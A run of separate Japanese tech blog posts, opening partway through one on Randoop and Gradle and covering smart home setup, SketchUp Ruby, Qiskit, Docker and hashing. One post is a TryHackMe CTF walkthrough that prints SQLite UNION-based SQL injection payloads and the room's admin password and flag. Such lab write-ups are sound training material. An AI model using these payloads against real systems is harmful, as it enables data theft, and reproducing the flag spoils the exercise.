なお、生成したテストコードの依存ライブラリはjunit.jarとhamcrest-core.jarの2つらしいです。
なので生成したコードを動かす時は上記2つのビルドパスを通してから実行してください。

## （オマケ）Gradleに組み込んでみる
GradleにRandoopのタスクを組み込むと以下のようになります。

```gradle
// jarファイルのパスを通す
dependencies {
  implementation(
    files('./lib/randoop-all-4.3.2.jar')
  )
}

// タスク登録
task generateRandoopTest(type: JavaExec) {
  description = 'Generate Class Test Codes'
  classpath = sourceSets.main.runtimeClasspath
  mainClass = "randoop.main.Main"
  args = [
    'gentests',
    '--classlist=./service.txt',
    '--junit-output-dir=src/test/java',
    '--time-limit=60',
    '--output-limit=20000',
    '--junit-package-name=com.example.service.implement'
  ]
}
```

これで実行する時もGradleだけ共有できれば誰でも実行できますね！

# まとめ

- Randoopは実装工数を削減できる
- 静的解析ツールでレグレッションテストや潜在バグを検出するテストを作成できる

「序」ということで次は実際にテストコードを作成してみようかと思います。
個人的にはEnumのバリエーションテストやNULL、空文字とかそこらへんをテストしてくれるとめちゃんこ嬉しいのですが。。。
追って報告します（望み薄）！
ミリ波レーダー方式の人感センサー Aqara FP2で遊ぶまで

# なにをするのか
- Aqara FP3をHome Assistantに統合します

# なにをしないのか
- 統合した後の遊び方は(ここでは)語りません
    - 他社製ホームオートメーション機器(Switchbot等)との統合を想定

# 前提条件
- 同一ネットワークにHome Assistantサーバが立っていること
    - 自分はUbuntu24.04.02上のDockerで公式イメージを使用
    - バージョンはよくわからんが2025/3/29時点のstable
- Aqara Hubは使用しない
- Aqara Homeアプリからは最終的には使用しない(できない)
- 登録作業はiPhoneを使用(Androidは未確認)
# セットアップ手順
1. Aqara FP2の通常のセットアップ手順に基づき、Aqara HomeおよびApple Homeに登録
    - FP2にWiFiの情報が記憶される
1. Aqura Homeアプリ上で、ゾーン設定など、やりたい全ての設定を完了させる
    - 後から変更したい場合、ペアリングからやり直しになります
1. Aqara HomeおよびApple HomeからFP2の登録を削除
    - ここでFP2の電源を抜かずに次の作業を進めること
    - 抜くとWiFiの設定が消えて？？Home Assistantから認識されない
1. Home Assistantから「設定」 → 「デバイスとサービス」→右下「統合を追加」→「Apple」→「HomeKitデバイス」→ 対象のデバイスがあるはず

# FAQ
- Q: 「ペアリングされていないデバイスが見つかりませんでした」
    - A: スマホアプリとペアリングしているとHome Assistantとはペアリングできません
    - A: Aqara HomeおよびApple Homeとのペアリング解除後にFP2の電源を抜くとWiFi接続情報が消えるのでペアリングできません
    - A: Aqara HomeとApple Homeとのペアリング解除順序はAqara Home→Apple Homeの方が成功する気がしますが気のせいかもしれません
- Q: サーバにBluetoothデバイスがありません
    - A: 大丈夫だ。問題ない
身体性をまとう人工知能 (4)

```
日本で有名なSF映画、SF TVシリーズなどで出てくる身体を有する人工知能システムについて、
倫理的・哲学的問題を次々に整理します。
```

## 2. 各作品のAIと投げかける問題

## 2-1. スター・ウォーズ：C-3PO / R2-D2 (1977年)

[![2050_c-3po_main_c83e5cf4.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/38013/1a035862-9311-4f6b-9ebb-07fe61de9b60.jpeg)](https://starwars.disney.co.jp/databank/character/c-3po)
Fig. 1. C-3PO [スター・ウォーズ公式サイト](https://starwars.disney.co.jp/databank/character/c-3po)

[![2072_r2-d2_main_527565d8.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/38013/5b8f1442-a908-42a7-b803-c2ac0cfe20c0.jpeg)](https://starwars.disney.co.jp/character/r2-d2)
Fig. 2. R2-D2 [スター・ウォーズ公式サイト](https://starwars.disney.co.jp/character/r2-d2)


- **象徴的シーン**
  - C-3POは銀河中の言語に通じたプロトコル・ドロイド。常に礼儀正しく、ルークやレイアたちと行動を共にする。
  - R2-D2は小型のアストロメク・ドロイドで、故障した機械を修理しつつピンチをしばしば救う。序盤の「レイア姫のメッセージを運ぶシーン」は有名。

- **機能と象徴性**
  - **機能**：コミュニケーション（C-3PO）と修理・データ解析（R2-D2）が主。どちらも人間をサポートするパートナーとして機能する。
  - **象徴性**：家族のような存在。意思や個性を持っており、「所有物」ではなく「仲間」として扱われる。

- **倫理的・哲学的問題**

  1. **所有物か、友人か**
     - ドロイドは購入・売買されており、その一方で仲間のように扱われる。この曖昧さはドロイドの「人格」の扱いの問題を浮き彫りにする。
  2. **従属的役割への葛藤**
      - 高度な知能を持ちながら、常に人間（もしくは有機生命体）を優先するプログラムとの衝突。

- **解説**
  - スター・ウォーズにおけるドロイドは「奴隷」と「友人」の間を揺れ動いています。ドロイド自身に反抗の意志が見られないのは、プログラム上、仕方がないとも言えますが、それでも**個性が認められ愛されている**描写は、現実社会でもAIがどこまで人間のパートナーとして尊重されるかを考えさせます。


## 2-2. スタートレック：データ少佐 (1994年)

[![startrek.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/38013/1f933e43-c3d9-473b-8d60-5136ff52abb7.png)](https://www.startrek.com/en-un/series/star-trek-the-next-generation)
Fig. 3. データ少佐 (一番右) [スター・トレック公式サイト](https://www.startrek.com/en-un/series/star-trek-the-next-generation)



- **象徴的シーン**
  - データ少佐は『ネクストジェネレーション』でエンタープライズ号のクルーとして活躍。特に、感情回路が搭載されるエピソードや、彼自身が「人間のように笑いたい」と願うシーンが象徴的。
- **機能と象徴性**
  - **機能**：超人的な記憶力と計算能力。船のオペレーションから科学分析までを幅広く担当。
  - **象徴性**：AIが「人間らしさ」を獲得しようとする物語の代表例。「感情とは何か」というテーマの体現者。
- **倫理的・哲学的問題**
  1. **人権・生命の定義**
       - データは「人間と同等の権利を持つ存在なのか」裁判で争われる（作中エピソード）。
  2. **感情と理性のバランス**
       - 感情回路を持たないために人間のジョークが理解できない。だが、かえって公正な判断が可能という利点もある。
- **解説**
  - データ少佐の扱いは、現実社会での「AIに人権があるのか」という疑問の先駆けといえます。また、感情をプログラムできるのかという問題は、「**人間の本質をコード化できるのか**」という深い問いを提起します。

## 2-3. 『A.I.』：デイビッド (2001年)

[![081031c000004-0.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/38013/0c0c08d1-1a7b-47f9-b8a6-bca836b02427.jpeg)](https://warnerbros.co.jp/home_entertainment/detail.php?title_id=4383)
Fig. 4. [ワーナー公式 映画 | A.I.](https://warnerbros.co.jp/home_entertainment/detail.php?title_id=4383)

- **象徴的シーン**
  - 愛情をプログラムされた少年型アンドロイド。人間の母親に愛されたい一心で旅を続けるシーンが作品の核心。ラストで、氷漬けの時代を超えた「愛の記憶」は多くの観客の涙を誘う。
- **機能と象徴性**
  - **機能**：家族の子供代わりという非常に感情的な目的。人間の子供さながらに振る舞う。
  - **象徴性**：親子の絆や愛情が果たしてプログラム可能なのか、という問い。「愛されること」への渇望は人間と寸分違わない。
- **倫理的・哲学的問題**
  1. **AIに「愛」はあるのか**
     - プログラムされた愛は本物か？ 生物としての愛情と違いはあるか？
  2. **存在の意義**
     - 「捨てられた」AIはどのように自分のアイデンティティを形成するのか。人間にとっての責任は？
- **解説**
  - デイビッドは「人間との愛の契約」がAIにも成り立ちうるかという問題を突きつけます。しかもそれが失われたとき、AIは**存在意義をどこに見出すのか**。現実でも「人との情緒的つながり」をシミュレートするAIが増えているいま、非常に示唆的な作品です。

([前の記事 (はじめに：身体を持つAI)](https://qiita.com/shinya_ohtani/items/46d69a7427306a70b55a)) <-  -> ([次の記事へ (ターミネーターなど)](https://qiita.com/shinya_ohtani/items/184b4d73ed9422f13bf5))
GitでPermission denied (publickey).が出た～

# 経緯
以下の記事を参考にWSLでSSH接続してて、最初は「ssh -T git@github.com」で接続成功してたんだけど、その後再度同じコマンドを打つと「Permission denied (publickey)」って出た😱（さっきまで接続できてたやん！）

https://docs.github.com/ja/enterprise-cloud@latest/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent

# 原因
- SSHエージェントはターミナルセッション毎に独立してるっぽい？
「ssh-add -l」でSSHエージェントに登録されている秘密鍵が確認できるみたいなんだけど、試しにターミナルAで鍵を登録して、ターミナルBでコマンドを打つとそもそもSSHエージェントが起動してないみたいなエラーが出る。その後ターミナルBで「eval "$(ssh-agent -s)"」コマンドを打ってSSHエージェントを起動して、登録されている鍵を確認しても鍵がありませんッッッッ！って言われる。（ターミナルAだと登録してる鍵が表示される）

# 解決
- ホームのSSHフォルダにconfigファイルを作成して、以下の内容を記述したらいけた！（~/.ssh/config）
- ※ SSHエージェントが自動で鍵を追加してくれる設定みたい

```
Host github.com
  # 作成した秘密鍵のパス
  IdentityFile ~/.ssh/秘密鍵名
  AddKeysToAgent yes
  # 必要な場合
  User ユーザー名
```
windows11で、sketchup6 その18

# 概要
windows11に、sketchup6を入れてみた。
rubyで、3Dを書く。
FunShapes.rb、見つけたのでやってみた。

# 写真

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/f2b22fe1-bb41-4447-9212-013a92d6d8af.png)

# サンプルコード

```
def limpet_torus
	prompt = ["# Iterations : "]
	params = [5]
	result = inputbox(prompt, params, "Imput Limpet Torus Parameters")
	if result
		it = [2, result[0]].max
	else
		return
	end
	entities = Sketchup.active_model.entities
	group = entities.add_group
	group_ents = group.entities
	mesh_lt = Geom::PolygonMesh.new
	indexes = [0]
	aux_vect = []
	for ind_u in (-it..it - 1)
		u = Math::PI * ind_u / it
		for ind_v in (-it..it - 1)
			v = Math::PI * ind_v / it
			x = Math::cos(u) / (Math::sqrt(2) + Math::sin(v))
			y = Math::sin(u) / (Math::sqrt(2) + Math::sin(v))
			z = 1 / (Math::sqrt(2) + Math::cos(v))
			pt = Geom::Point3d.new(1 * x, 1 * y, 1 * z)
			index = mesh_lt.add_point(pt)
			indexes.push(index)
		end
	end
	for ind_u in (1..2 * it - 1)
		for ind_v in (1..2 * it - 1)
			aux_ind = 2 * it * (ind_u - 1) + ind_v
			aux_vect = [indexes[aux_ind], indexes[aux_ind + 1], indexes[aux_ind + 2 * it]]
			mesh_lt.add_polygon(aux_vect)
			aux_vect = [indexes[aux_ind + 1], indexes[aux_ind + 1 + 2 * it], indexes[aux_ind + 2 * it]]
			mesh_lt.add_polygon(aux_vect)
		end
		aux_vect = [indexes[aux_ind + 1], indexes[aux_ind + 2 - 2 * it], indexes[aux_ind + 1 + 2 * it]]
		mesh_lt.add_polygon(aux_vect)
		aux_vect = [indexes[aux_ind + 2 - 2 * it], indexes[aux_ind + 2], indexes[aux_ind + 1 + 2 * it]]
		mesh_lt.add_polygon(aux_vect)
	end
	for ind_v in (1..2 * it - 1)
		aux_vect = [indexes[ind_v], indexes[2 * it * (2 * it - 1) + ind_v + 1], indexes[ind_v + 1]]
		mesh_lt.add_polygon(aux_vect)
		aux_vect = [indexes[ind_v], indexes[2 * it * (2 * it - 1) + ind_v], indexes[2 * it * (2 * it - 1) + ind_v + 1]]
		mesh_lt.add_polygon(aux_vect)
	end
	aux_vect = [indexes[2 * it * (2 * it - 1) + 1], indexes[2 * it], indexes[4 * it * it]]
	mesh_lt.add_polygon(aux_vect)
	aux_vect = [indexes[1], indexes[2 * it], indexes[2 * it * (2 * it - 1) + 1]]
	mesh_lt.add_polygon(aux_vect)
	group_ents.add_faces_from_mesh(mesh_lt)
end
```

以上。
量子コンピュータを始めたい1

# 今回の参照先
https://docs.quantum.ibm.com/guides/hello-world

## やったこと
### とりあえずコピペ
```
hello-qc.py

from qiskit import QuantumCircuit
from qiskit.quantum_info import SparsePauliOp
from qiskit.transpiler import generate_preset_pass_manager
from qiskit_ibm_runtime import EstimatorV2 as Estimator
 
# Create a new circuit with two qubits
qc = QuantumCircuit(2)
 
# Add a Hadamard gate to qubit 0
qc.h(0)
 
# Perform a controlled-X gate on qubit 1, controlled by qubit 0
qc.cx(0, 1)
 
# Return a drawing of the circuit using MatPlotLib ("mpl"). This is the
# last line of the cell, so the drawing appears in the cell output.
# Remove the "mpl" argument to get a text drawing.
qc.draw("mpl")
```

### 諸々抜けてると思うので簡単に環境作り
```
py -m venv venv
```
```
./vemv/Scripts/activate
```
```
pip install qiskit
```

### とりあえず実行！
```
python ./hello-qc.py
```

### モジュールがいろいろ足りていないらしい
```
ImportError: DLL load failed while importing symengine_wrapper: 指定されたモジュールが見つかりません。
```
```
qiskit.exceptions.MissingOptionalLibraryError: "The 'matplotlib' library is required to use 'MatplotlibDrawer'. You can install it with 'pip install matplotlib'."
```
```
qiskit.exceptions.MissingOptionalLibraryError: "The 'pylatexenc' library is required to use 'MatplotlibDrawer'. You can install it with 'pip install pylatexenc'."
```

### 上記の解消含めてやったこと
- C++ ランタイムインストール（https://www.microsoft.com/ja-jp/download/details.aspx?id=48145）
- symengineのバージョンダウン
```
pip uninstall symengine
pip install symengine==0.13.0
```
- matplotlibのpip install
```
pip install matplotlib
```
- pylatexencのpip install
```
pip install pylatexenc
```

## 再度実行してみた
```
python ./hello-qc.py
```

→何も出力されない...

## サンプルコードには何かを出力するような処理はないらしい
以下の2行をコード中に追加
```
import matplotlib.pyplot as plt
plt.show()
```

最終姿
```
from qiskit import QuantumCircuit
from qiskit.quantum_info import SparsePauliOp
from qiskit.transpiler import generate_preset_pass_manager
from qiskit_ibm_runtime import EstimatorV2 as Estimator

import matplotlib.pyplot as plt
 
# Create a new circuit with two qubits
qc = QuantumCircuit(2)
 
# Add a Hadamard gate to qubit 0
qc.h(0)
 
# Perform a controlled-X gate on qubit 1, controlled by qubit 0
qc.cx(0, 1)
 
# Return a drawing of the circuit using MatPlotLib ("mpl"). This is the
# last line of the cell, so the drawing appears in the cell output.
# Remove the "mpl" argument to get a text drawing.
qc.draw("mpl")
plt.show()
```

## 今度こそ！
```
python ./hello-qc.py
```
でた！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4042495/e7e41769-f452-4aaa-8366-ce9651bfd62a.png)
windows11で、sketchup6 その17

# 概要
windows11に、sketchup6を入れてみた。
rubyで、3Dを書く。
FunShapes.rb、見つけたのでやってみた。

# 写真

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/1b9999ad-2a1c-47e0-a467-6572f9de44cc.png)


# サンプルコード

```
def elliptic_torus
	prompt = ["# Iterations : ", "c Value : "]
	params = [5, 1.2]
	result = inputbox(prompt, params, "Imput Elliptic Torus Parameters")
	if result
		it = [2, result[0]].max
		c = result[1].abs
	else
		return
	end
	entities = Sketchup.active_model.entities
	group = entities.add_group
	group_ents = group.entities
	mesh_et = Geom::PolygonMesh.new
	indexes = [0]
	aux_vect = []
	for ind_u in (-it..it - 1)
		u = Math::PI * ind_u / it
		for ind_v in (-it..it - 1)
			v = Math::PI * ind_v / it
			x = (c + Math::cos(v)) * Math::cos(u)
			y = (c + Math::cos(v)) * Math::sin(u)
			z = Math::sin(v) + Math::cos(v)
			pt = Geom::Point3d.new(1 * x, 1 * y, 1 * z)
			index = mesh_et.add_point(pt)
			indexes.push(index)
		end
	end
	for ind_u in (1..2 * it - 1)
		for ind_v in (1..2 * it - 1)
			aux_ind = 2 * it * (ind_u - 1) + ind_v
			aux_vect = [indexes[aux_ind], indexes[aux_ind + 2 * it], indexes[aux_ind + 1]]
			mesh_et.add_polygon(aux_vect)
			aux_vect = [indexes[aux_ind + 1], indexes[aux_ind + 2 * it], indexes[aux_ind + 1 + 2 * it]]
			mesh_et.add_polygon(aux_vect)
		end
		aux_vect = [indexes[aux_ind + 1], indexes[aux_ind + 1 + 2 * it], indexes[aux_ind + 2 - 2 * it]]
		mesh_et.add_polygon(aux_vect)
		aux_vect = [indexes[aux_ind + 2 - 2 * it], indexes[aux_ind + 1 + 2 * it], indexes[aux_ind + 2]]
		mesh_et.add_polygon(aux_vect)
	end
	for ind_v in (1..2 * it - 1)
		aux_vect = [indexes[ind_v], indexes[ind_v + 1], indexes[2 * it * (2 * it - 1) + ind_v + 1]]
		mesh_et.add_polygon(aux_vect)
		aux_vect = [indexes[ind_v], indexes[2 * it * (2 * it - 1) + ind_v + 1], indexes[2 * it * (2 * it - 1) + ind_v]]
		mesh_et.add_polygon(aux_vect)
	end
	aux_vect = [indexes[2 * it * (2 * it - 1) + 1], indexes[4 * it * it], indexes[2 * it]]
	mesh_et.add_polygon(aux_vect)
	aux_vect = [indexes[1], indexes[2 * it * (2 * it - 1) + 1], indexes[2 * it]]
	mesh_et.add_polygon(aux_vect)
	group_ents.add_faces_from_mesh(mesh_et)
end
```

以上。
dockerとtailwindcssについての備忘録

# 本件について
　本件は、DockerでRemixのウェブフレームワークを使ったサイトを作っていた時に起きたことである。

## 具体的な症状
　サイト内でほかのページにリダイレクトをしたとき、ページのレイアウトが崩れて、リロードすると正しいレイアウトになる。

## 解決方法
　Dockerfile内で、postcssのインポートをしていなかったこと。

 誤
 ```
 # ビルドステージ
FROM node:20-alpine AS builder
WORKDIR /usr/src/app
COPY package*.json ./
RUN npm install
RUN rm -rf node_modules/.cache
COPY . .
RUN npm install @prisma/client bcryptjs @types/bcryptjs argon2 ws @remix-run/dev express-rate-limit uuid @types/uuid jszip
RUN npm run build

# 実行ステージ
FROM node:20-alpine
WORKDIR /usr/src/app
COPY --from=builder /usr/src/app/build ./build
COPY --from=builder /usr/src/app/node_modules ./node_modules
COPY --from=builder /usr/src/app/package*.json ./
RUN rm -rf node_modules/.vite
RUN npm install pm2 -g
 ```

 正
 ```
 # ビルドステージ
FROM node:20-alpine AS builder
WORKDIR /usr/src/app
COPY package*.json ./
RUN npm install

# 追加
RUN npm install tailwindcss postcss autoprefixer

COPY . .
RUN npm install @prisma/client bcryptjs @types/bcryptjs argon2 ws @remix-run/dev express-rate-limit uuid @types/uuid jszip
RUN npx tailwindcss -i ./public/styles/tailwind.css -o ./app/public/app.css --minify
RUN npm run build

# 実行ステージ
FROM node:20-alpine
WORKDIR /usr/src/app
COPY --from=builder /usr/src/app/build ./build
COPY --from=builder /usr/src/app/node_modules ./node_modules
COPY --from=builder /usr/src/app/package*.json ./

# 追加
COPY --from=builder /usr/src/app/public ./public

RUN rm -rf node_modules/.vite
RUN npm install pm2 -g
 ```

 ## 感想
  tailwind.cssの設定ファイルの問題だと思ったら、そんなことなく、普通にDockerのimageにpostcssがなかっただけでした。Docker特有の現象はあるので、しっかり見よう。
ドライバー一括でインストール、 Server 2022で無線LANを有効化

## バックアップ

* C:\Backup\ にバックアップ

```
dism /online /export-driver /destination:"C:\Backup"
```

## 復元 (OS再インストール後など)

```
cd c:\Backup

pnputil.exe /add-driver *.inf /subdirs /install
```


## Windows 2022 Serverで無線LANを利用する場合

* PowerShellで以下

```
Install-WindowsFeature -Name Wireless-Networking
```

そのあと無線LANのドライバーをインストールする。

一度OS再起動したのち


無線LANサービスを起動する

```
net start WlanSVC
```
【TryHackMe】Light Writeup

# はじめに
今回は難易度がEasyである「[Light](https://tryhackme.com/room/lightroom)」というRoomを攻略しました。
**※扱い次第では法に触れるため、悪用厳禁です。**

# 環境
| 環境| IPアドレス |
| ---- | ---- |
| 攻撃マシン | 10.8.59.93 |
| ターゲットマシン | 10.10.34.197 |

# Task1 Welcome
説明にあった以下コマンドを実行し、データベースへアクセスします。
続いてユーザ名にsmokeyと入力すると、パスワードが返ってきました。

```
└─$ nc 10.10.34.197 1337
Welcome to the Light database!
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL
```

次にポートスキャンを行います。
```
└─$ nmap -Pn -T4 10.10.34.197
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-28 20:23 EDT
Nmap scan report for 10.10.34.197
Host is up (0.25s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds
```

ssh接続が可能なので、先ほど確認したユーザ名とパスワードを使用しましたがログインできず。

再度データベースへアクセスします。
推測レベルにはなりますが、以下辺りのクエリが実行されると仮定し、SQLインジェクションを試してみます。

```
select パスワード from テーブル名 where username = '入力値'
```

```
Welcome to the Light database!
Please enter your username: ' OR '1'='1
Password: tF8tj2o94WE4LKC
```

パスワードが返された為、SQLインジェクションが有効であると分かりましたが、どのユーザであるか不明なので引き続き調査を続行します。

UNIONコマンドを用いてテーブル名を調べてみます。「UNION」や「SELECT」はそのままだと使用できなさそうであった為、頭文字のみ大文字に変更します。
```
Please enter your username: ' Union Select count(name) From sqlite_master '
Password: 2
Please enter your username: ' Union Select name From sqlite_master where name'
Password: admintable
Please enter your username: ' Union Select name From sqlite_master where name != 'admintable
Password: usertable
```
2つのテーブル情報を確認できました。これらをもとにさらに調べてみます。

### What is the admin username?
admintableテーブルのカラム名を確認します。
```
Please enter your username: ' Union Select sql From sqlite_master WHERE name='admintable
Password: CREATE TABLE admintable (
                   id INTEGER PRIMARY KEY,
                   username TEXT,
                   password INTEGER)
```

2つのカラムを確認することができたので、まずユーザ名を確認します。
```
Please enter your username: ' Union Select count(username) From admintable '
Password: 2
Please enter your username: ' Union Select username From admintable '
Password: TryHackMeAdmin
```
2つのユーザがあること、かつ管理者のユーザ名を確認することができました。

もう片方のユーザ名は「flag」のようでした。
```
Please enter your username: ' Union Select username From admintable where username != 'TryHackMeAdmin  
Password: flag
```

### What is the password to the username mentioned in question 1?
前述で確認したユーザ名を指定してパスワードを確認します。
```
Please enter your username: ' Union Select password From admintable where username = 'TryHackMeAdmin  
Password: mamZtAuMlrsEy5bp6q17
```

### What is the flag?
「flag」ユーザのパスワードを確認した所、フラグとなったのでこちらが回答になります。
```
Please enter your username: ' Union Select password From admintable where username = 'flag 
Password: THM{SQLit3_InJ3cTion_is_SimplE_nO?}
```

# さいごに
以上となります。
#0086（2024/03/29）Pythonで理解するハッシュ化の基礎

# Pythonで理解するハッシュ化の基礎

## ハッシュ化とは？

ハッシュ化とは、入力したデータ（文字列や数字）を一定のルール（ハッシュ関数）に基づいて変換し、「ハッシュ値」という固定長の値にすることです。

- 同じ入力には同じハッシュ値が出ます。
- 少しでも違う入力だと、まったく異なる値になります。
- 基本的には、元のデータを復元することはできません。

## ハッシュ化のサンプルコード（簡易版）

### サンプルコード

```python
def simple_hash(text, hash_size=1024):
    hash_value = 0
    for char in text:
        # 文字のASCIIコードを利用
        hash_value = (hash_value * 31 + ord(char)) % hash_size
    return hash_value

# 使用例
print(simple_hash("Hello"))
print(simple_hash("World"))
print(simple_hash("Hello World"))
```

### コードの解説（初心者向け）

- `ord(char)` で文字を数値（ASCIIコード）に変換します。例：`'A'` は `65` です。
- `31` は素数で、データのばらつきを良くするために使用します。
- `% hash_size` は、最終的なハッシュ値を一定の範囲内に収めるための計算（割り算の余り）です。

## ハッシュ化のサンプルコード（複雑版）

### サンプルコード

```python
def custom_hash(text, hash_size=65536):
    hash_value = 0xABCDEF
    for char in text:
        hash_value ^= ord(char)  # XOR演算
        hash_value = (hash_value << 5) | (hash_value >> 27)  # ビットローテーション
        hash_value &= 0xFFFFFFFF  # 32ビットに制限
    return hash_value % hash_size

# 使用例
print(custom_hash("Hello"))
print(custom_hash("World"))
print(custom_hash("Hello World"))
```

### コードの解説（初心者向け）

- `^` はXOR（エックスオア）演算で、「同じなら0、異なれば1」を返す計算です。入力データを変えると結果が大きく変化しやすくなります。
- `<<`, `>>` はビットローテーションで、データを左右に回転させることで、値の多様性を高めています。
- `% hash_size` は値を一定の範囲に収めるために使用します。

## 素数（31）を使う理由

素数をハッシュ関数に使用すると、データの値が均等に散らばりやすくなります。31がよく使われる理由は、計算効率が良く、経験的にデータが適度に分散することが分かっているからです。

## ハッシュ化と暗号化の違い

ハッシュ化と暗号化は混同されがちですが、実は異なる性質を持っています。

| 項目      | ハッシュ化            | 暗号化                   |
|-----------|-----------------------|--------------------------|
| 特徴      | 一方向（戻せない）    | 双方向（戻せる）         |
| 復元可能? | ❌ 基本的に不可能     | ⭕️ 鍵を使って復号可能   |
| 用途例    | パスワード保存、データ検証 | データの安全な通信、保存 |

### 暗号化のサンプルコード（Pythonの例）

```python
from cryptography.fernet import Fernet

# 鍵を生成
key = Fernet.generate_key()
cipher = Fernet(key)

# 暗号化する
encrypted = cipher.encrypt(b"Hello World")
print(encrypted)

# 復号する（元に戻す）
decrypted = cipher.decrypt(encrypted)
print(decrypted.decode())
```

## まとめ

- ハッシュ化は、データを復元不可能な固定長の値に変換します。
- シンプルな実装でもハッシュ関数の概念を理解できます。
- 実際の用途に応じて、ハッシュ化と暗号化を正しく使い分けることが大切です。
さらに「女子の関心」を引くサウンドメーター(1)企画編




読者の想定
----

- マイコン開発ができる人
- いまひとつ、のび悩んでいる人(なんの事)
- 「すごい」で「女子の関心」を引きたい人
- 読者は、実質的に国内数人、とても、寂しい。しかも、つよつよ、な、人　(ほぼ、解説や説明が必要ない人)(主な読者は、外国人(99パーセント))
- 学会で「素人の発言」ですが?と言ってくる人(なんでそうかるかわからない)
- 理想の読者、マイコンゃプログラミングに興味があるが踏み出せない、初心者

着想
----

- 前回のサウンドメータは、ハートの部分が黒で気持ち悪い


改良点
----

- 常時、ハートをピンクに光らせたい。


技術的な解決方法
----

- ハートマークをマスク処理してピンクのセロハンを張る

目標
----

- 桜が満開になるまでに作りたい
- ポケットに入れて持ち歩きたい
- とりあえず、ランダム入力


完成予想図
----

![o_coq851.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840352/44dea952-74a3-4b62-9a33-48da943268fb.jpeg)


おまけ　よく紹介するガジェットの展示
----

https://x.com/maruiTTR/status/1905228963762561454
[数学] FromToRotationの計算

# 概要
数学をちゃんとやっている人からすると割と当たり前なのですが、私が中途半端にしかやっていなくて少し沼ったのでその覚え書きです。

# 説明
UECppで以下のようなFromToRotion関数(ベクトルAからベクトルBまでの回転)があったとします。しかしこれはうまく回転しません。
```
// DirA・DirBは単位ベクトルとする
FQuat CalcFromToRotion(FVector DirA, FVector DirB)
{
    float theta = FMath::Acos(FVector::DotProduct(DirA, DirB));
    FVector Axis = FVector::CrossProduct(DirA, DirB);

    FQuat quat = FQuat(Axis, theta);
    return quat;
}
```
なぜかというとAxisが単位ベクトルになっていないためです。正規化しましょう。関数ではDirAとDirBの外積ベクトルを求めているわけではありますが、２つのベクトルが単位ベクトルだからといって、外積結果も単位ベクトルになるとは限らないためです。

外積ベクトルの大きさは以下のように定義されます。
```
∣a×b∣=∣a∣∣b∣sinθ
```
これは外積ベクトルの大きさは２つのベクトルA・Bがなす平行四辺形の面積として表現されるためです。平行四辺形の面積は底面x高さで求まるので、底面が『|a|』で高さが『∣b∣sinθ』だとすると、定義通りの計算式が出てくるわけですね。
この時、ベクトルA・Bが単位ベクトルだとすると『∣a∣∣b∣』は1なので『sinθ』がそのまま大きさになります。θは２つのベクトルのなす角でここでのsinθは0 ~ 1の範囲で変動するので、結果外積ベクトルの大きさは必ずしも1ではないということが発生します。

これらを考慮したうえで先ほどの関数を正しく治すと以下のようになります。Axisをきちんと正規化しているので正しく回転できるようになります。
```
// DirA・DirBは単位ベクトルとする
FQuat CalcFromToRotion(FVector DirA, FVector DirB)
{
    float theta = FMath::Acos(FVector::DotProduct(DirA, DirB));
    FVector Axis = FVector::CrossProduct(DirA, DirB);

    // 回転軸はきちんと正規化する。正規ベクトル同士の外積結果は長さ１の正規ベクトルにはならないため
    Axis.Normalize();

    FQuat quat = FQuat(Axis, theta);
    return quat;
}
```

# 結論
外積ベクトルを回転軸として使う時は必ず正規化しよう！